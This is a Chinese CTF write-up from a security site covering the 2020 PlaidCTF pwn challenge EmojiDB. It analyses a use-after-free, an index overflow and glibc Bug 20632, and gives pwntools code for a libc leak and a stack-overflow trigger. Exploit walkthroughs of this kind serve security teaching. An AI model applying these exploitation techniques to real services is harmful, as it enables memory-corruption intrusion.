文章首发于安全客 ,本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/203685
安全客 – 有思想的安全新媒体

0x01 简述

  1. [2020 PlaidCTF] EmojiDB – 250pt:主要是对IO内置函数的利用,创新性的利用了Bug 20632完成攻击。
  2. [2020 PlaidCTF] golf.so – 500pt:主要考察如何构建一个Mini共享库文件。
  3. [2020 DawgCTF] Tik Tok – 500pt:基本没有明面上的漏洞,主要考察程序的逻辑漏洞,这些逻辑漏洞会直接导致一些看似正常的逻辑却给与攻击者可乘之机。
  4. [2020 DawgCTF 2020] Nash/Nash2:这个题目的利用点为有限的命令执行。

0x02 [2020 PlaidCTF] EmojiDB – 250pt

题目类型:Pwn

checksec结果:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

题目分析

首先,题目不仅仅给出了题目源文件,还给出了题目的Dockerfile以及start.sh

FROM ubuntu:18.04

RUN apt-get update
RUN apt-get install -y xinetd
RUN apt-get install -y language-pack-en

RUN useradd -m ctf

COPY bin /home/ctf
COPY emojidb.xinetd /etc/xinetd.d/emojidb

RUN chown -R root:root /home/ctf
EXPOSE 9876
CMD ["/home/ctf/start.sh"]
#!/bin/sh
# Add your startup script

# DO NOT DELETE
/etc/init.d/xinetd start;
sleep infinity;

# In /etc/init.d/xinetd

service emojidb
{
    disable = no
    socket_type = stream
    protocol    = tcp
    wait        = no
    user        = ctf
    type        = UNLISTED
    port        = 9876
    bind        = 0.0.0.0
    server      = /home/ctf/run.sh
    # safety options
    per_source  = 10 # the maximum instances of this service per source IP address
    rlimit_cpu  = 20 # the maximum number of CPU seconds that the service may use
    #rlimit_as  = 1024M # the Address Space resource limit for the service
}

# In /home/ctf/run.sh

#!/bin/sh
exec /home/ctf/emojidb 2>&-

程序逻辑

首先程序提供了五个功能:

  1. book的数据结构如下:
    struct book{
       int inuse;
       _QWORD *content;
    }
    
  2. 创建book content(命令:🆕):遍历整个book_list,取出空闲位置下标,限制下标只能介于0-4之间,也就是五个book,接收一个size,检查size是否大于0x800,若不大于,用calloc创建一个4 * size大小的chunk,将chunk地址放在book -> content的位置上,设置book -> inuse位为1,向book -> content写入size大小的值,返回。

  3. 查看book content(命令:📖):调用get_book函数接收一个index,检查index-1是否介于0-3之间,取出book_list[index - 1],检查book_list[index - 1] -> content是否为空,若不为空,打印book_list[index - 1] -> content,返回。

  4. 删除book content(命令:🆓):调用get_book函数接收一个index,检查index-1是否介于0-3之间,取出book_list[index - 1],检查book_list[index - 1] -> contentbook_list[index - 1] -> inuse,若book_list[index - 1] -> content不为空且book_list[index - 1] -> inuse0,释放book_list[index - 1] -> content,标记book_list[index - 1] -> inuse0,返回。

  5. 退出(命令:🛑):调用_exit(0);

  6. 打印flag(隐藏功能,命令:🚩):打印🏴🏁🏳。

漏洞分析

  1. 首先很明显的,在删除book content中,没有在释放book_list[index - 1] -> content后标记book_list[index - 1] -> content0,造成了Use-After-Free漏洞,但是由于book_list[index - 1] -> inuse的存在,又很好地避免了Double Free漏洞的发生。

  2. 然后在创建book content时,没有很好的控制下标,造成我们可以额外申请一个下标为4chunk,这将导致我们可以异常的覆盖0x2020E0的值。

    image-20200420200947017

  3. 0x2020E0的值非零时,若我们输入了非法的选项,程序会把我们输入的选项输出到stderr流。

    image-20200420201225812

    并且,在run.sh中,程序特意附加了2>&-选项,这表示关闭stderr,这非常可疑!

  4. 宽字节环境+stderr被关闭,恰好满足了Bug 20632的利用要件。

漏洞利用

Leak Data

首先,既然存在Use-After-Free漏洞,且程序在调用show book时并没有检查book_list[index - 1] -> content,这就给了我们一个利用的机会,我们可以利用这个点进行信息的泄露。

但是需要注意的是,这个题的所有I/O都使用了宽字节I/O,例如__wprintf_chk()__isoc99_wscanf()fgetws()fputws()

那么我们的交互函数就要进行一些改变,改成如下形式:(此处感谢南梦狮虎的帮助)

from pwn import *
......

opcode = {
        '0x1F195':'\xF0\x9F\x86\x95',# new
        '0x1F4D6':"\xF0\x9F\x93\x96",# show
        '0x1F193':"\xF0\x9F\x86\x93",# free
        '0x1F6A9':"\xF0\x9F\x9A\xA9",# flag
}
......
def create(sh,chunk_size,value):
    sh.recvuntil("\xe2\x9d\x93")
    sh.send(opcode["0x1F195"])
    sh.sendafter("\xf0\x9f\x93\x8f\xe2\x9d",str(chunk_size))
    sh.recvuntil("\x93")
    sh.send(value)

def show(sh,index):
    sh.recvuntil("\xe2\x9d\x93")
    sh.send(opcode['0x1F4D6'])
    sh.sendlineafter("\xe2\x9d\x93",str(index+1))

def delete(sh,index):
    sh.recvuntil("\xe2\x9d\x93")
    sh.send(opcode["0x1F193"])
    sh.sendlineafter("\xe2\x9d\x93",str(index+1))
    sh.recvuntil("\x9f\x98\xb1")

def flags(sh):
    sh.recvuntil("\xe2\x9d\x93")
    sh.send(opcode["0x1F6A9"])

并且我们在之后的泄露和写值都需要使用宽字节交互,这里我们直接使用@Hatena大佬提供的脚本:

#include <stdio.h>
#include <stdlib.h>
#include <locale.h>
#include <unistd.h>

int main(int argc, char **argv) {
  int i;
  unsigned char out[0x10] = {0};
  unsigned char in[0x10] = {0};
  setlocale(0, "en_US.UTF-8");

  if (argc < 2) {
    printf("Usage: %s [1|2]\n", argv[0]);
    return 1;
  }

  if (argv[1][0] == '1') {
    read(0, in, 0x10);
    mbstowcs((wchar_t*)out, in, 0x10);
    write(1, out, 8);
  } else {
    read(0, in, 8);
    wcstombs(out, (wchar_t*)in, 0x10);
    write(1, out, 0x10);
  }
  return 0;
}

然后我们在python中这样调用:

def wchar2char(wchar_data):
    convert = process(['./convert','1'])
    convert.send(wchar_data)
    char_data = convert.recvrepeat(0.3)
    convert.close()
    return char_data

def char2wchar(char_data):
    convert = process(['./convert','2'])
    convert.send(char_data)
    wchar_data = convert.recvrepeat(0.3).strip('\n').strip('\x00')
    convert.close()
    return wchar_data

那么我们直接先leak libc,泄露代码如下

create(sh,0x110,'Chunk__0'+'\n')
create(sh,0x10,'Chunk__0'+'\n')
delete(sh,0)
libc_address = u64(wchar2char(show(sh,0)).ljust(8,'\x00')) - get_main_arena(libc) - 0x60
success('The libc address is ' + hex(libc_address))

Stack Overflow

这里利用的是在Sourceware Bugzilla报告的Bug 20632 ,正如漏洞文章中说明的,在宽字节环境下且stderr已被关闭时,可能发生漏洞。

我们来探测实际漏洞的触发:

create(sh,0x10,'Chunk__0'+'\n')
create(sh,0x10,'Chunk__2'+'\n')
create(sh,0x10,'Chunk__3'+'\n')
create(sh,0x10,'Chunk__4'+'\n')

payload = char2wchar(p32(0x12341234)) * 20
success('The libc address is ' + hex(libc.address))
get_gdb(sh,stop=True)
sh.sendlineafter(b"\xe2\x9d\x93", payload)

sh.interactive()
分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注